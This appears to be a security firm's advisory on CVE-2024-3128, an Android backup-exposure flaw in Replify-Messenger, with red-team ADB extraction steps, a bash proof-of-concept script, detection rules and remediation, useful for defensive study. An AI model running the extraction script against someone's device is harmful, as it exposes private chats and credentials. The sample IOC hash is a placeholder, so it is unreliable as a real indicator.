CVE-2024-3128

Executive Summary

CVE-2024-3128 is a problematic vulnerability in the Replify-Messenger 1.0 Android application. The flaw resides in the handling of the androidmanifest.xml file by the Backup File Handler component, leading to exposure of backup files to an unauthorized control sphere. The attack requires physical access to the device, and the vendor has confirmed the app is end-of-life with no patch forthcoming. The CVSS score is 2.4 (Low), and the EPSS probability is 0.0%, indicating very low exploitation likelihood in the wild. However, the public disclosure of the exploit increases risk for users still running the app.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone Android application distributed via the Google Play Store. The supply chain risk is limited to the app’s own code and its backup mechanism.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 2.4 (Low)
• Attack Vector (AV): Physical (AV:P) – Requires physical access to the device.
• Attack Complexity (AC): Low (AC:L) – No special conditions.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (C:L) – Limited exposure of backup data.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): None (A:N) – No denial of service.

Threat Level: Low. The requirement for physical access and the app’s discontinued status reduce the immediate threat. However, for users still running the app, the risk of local data exposure is real.

Deep Dive & Mechanics

The vulnerability is in the Backup File Handler of Replify-Messenger 1.0 on Android. The androidmanifest.xml file is processed in a way that allows an attacker with physical access to the device to extract backup files. Android’s backup mechanism typically allows apps to opt-in or opt-out of backup. In this case, the app’s manifest likely sets android:allowBackup="true" (or the default is true) and does not properly restrict which files are backed up. An attacker can connect the device to a computer, use ADB (Android Debug Bridge) to initiate a backup, and then extract the backup archive. The backup may contain sensitive data such as chat logs, credentials, or configuration files.

The exploit is publicly disclosed (VDB-258869), and the vendor has confirmed no patch will be released. The app will be removed from the Play Store, but existing installations remain vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (Replify-Messenger 1.0): The AndroidManifest.xml likely contains:

<application
    android:allowBackup="true"
    ...>

This allows full backup of app data without restrictions.

Patched Code (Not Available): A patched version would either set android:allowBackup="false" or use android:fullBackupContent to specify a whitelist of files to backup. Example:

<application
    android:allowBackup="false"
    ...>

Or:

<application
    android:allowBackup="true"
    android:fullBackupContent="@xml/backup_rules"
    ...>

Where backup_rules.xml defines allowed files.

Since no patch exists, the only mitigation is to uninstall the app.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to the target Android device.
• USB debugging enabled on the device (or ability to enable it).
• ADB installed on the attacker’s machine.

Steps:

1. Connect the device via USB.
2. Enable USB debugging if not already enabled (requires unlocking the device and navigating to Developer Options).
3. Run ADB backup command:

   adb backup -f backup.ab -apk -shared -all -system com.example.replifymessenger
   

   (Replace com.example.replifymessenger with the actual package name.)
4. The device will prompt for backup confirmation; accept it.
5. Convert the .ab file to a .tar file using abe (Android Backup Extractor):

   java -jar abe.jar unpack backup.ab backup.tar
   

6. Extract the tar archive:

   tar -xvf backup.tar
   

7. Browse the extracted files for sensitive data (e.g., databases, shared preferences).

Proof of Concept (PoC) Script:

#!/bin/bash
# PoC for CVE-2024-3128
# Requires ADB and Android Backup Extractor

PACKAGE="com.example.replifymessenger"
BACKUP_FILE="replify_backup.ab"
TAR_FILE="replify_backup.tar"

echo "[*] Initiating backup for $PACKAGE..."
adb backup -f $BACKUP_FILE -apk -shared -all -system $PACKAGE

echo "[*] Converting backup to tar..."
java -jar abe.jar unpack $BACKUP_FILE $TAR_FILE

echo "[*] Extracting files..."
mkdir extracted_backup
tar -xvf $TAR_FILE -C extracted_backup

echo "[*] Done. Check extracted_backup/ for data."

Blue Team (Defense & Detection)

Detection:

• Monitor for unauthorized physical access to devices.
• Use Mobile Device Management (MDM) to enforce policies that disable USB debugging and backup for enterprise devices.
• Deploy EDR solutions that can detect ADB backup commands on connected devices.

Prevention:

• Uninstall Replify-Messenger immediately.
• Educate users not to install unsupported apps.
• For Android developers: always set android:allowBackup="false" or use android:fullBackupContent to restrict backup.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hash may vary)
  • replify_backup.ab: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators: None (attack is local).
• Process Names: adb (on attacker machine), com.android.commands.bu (on device).
• Registry/File System: Presence of backup files (.ab or .tar) on attacker machine.
• Behavioral: Unusual USB connections, ADB authorization prompts.

Detection Engineering

YARA Rule

rule CVE_2024_3128_Replify_Backup_Exposure {
    meta:
        description = "Detects backup files from Replify-Messenger vulnerable to CVE-2024-3128"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3128"
    strings:
        $backup_header = "ANDROID BACKUP"
        $package_name = "com.example.replifymessenger" nocase
    condition:
        $backup_header at 0 and $package_name
}

Sigma Rule

title: Detection of ADB Backup for Replify-Messenger
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects ADB backup commands targeting the Replify-Messenger package.
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\adb.exe'
        CommandLine|contains: 'backup'
        CommandLine|contains: 'com.example.replifymessenger'
    condition: selection
falsepositives:
    - Legitimate backup operations by developers
level: low

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3128 Replify-Messenger Backup Data Exfiltration"; flow:to_server; content:"ANDROID BACKUP"; depth:14; content:"com.example.replifymessenger"; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Uninstall Replify-Messenger from all Android devices.
2. Revoke any stored credentials that may have been exposed via backup.
3. Monitor for unauthorized access to devices that previously had the app installed.

Long-Term Measures:

• For Users: Only install apps from trusted sources and keep them updated.
• For Developers: Always disable backup (android:allowBackup="false") unless absolutely necessary, and if needed, use android:fullBackupContent to restrict backup to non-sensitive files.
• For Organizations: Implement MDM policies to disable USB debugging and backup for corporate devices.

Patch Status: No patch available. The vendor has discontinued support and will remove the app from the Play Store.

Valters IT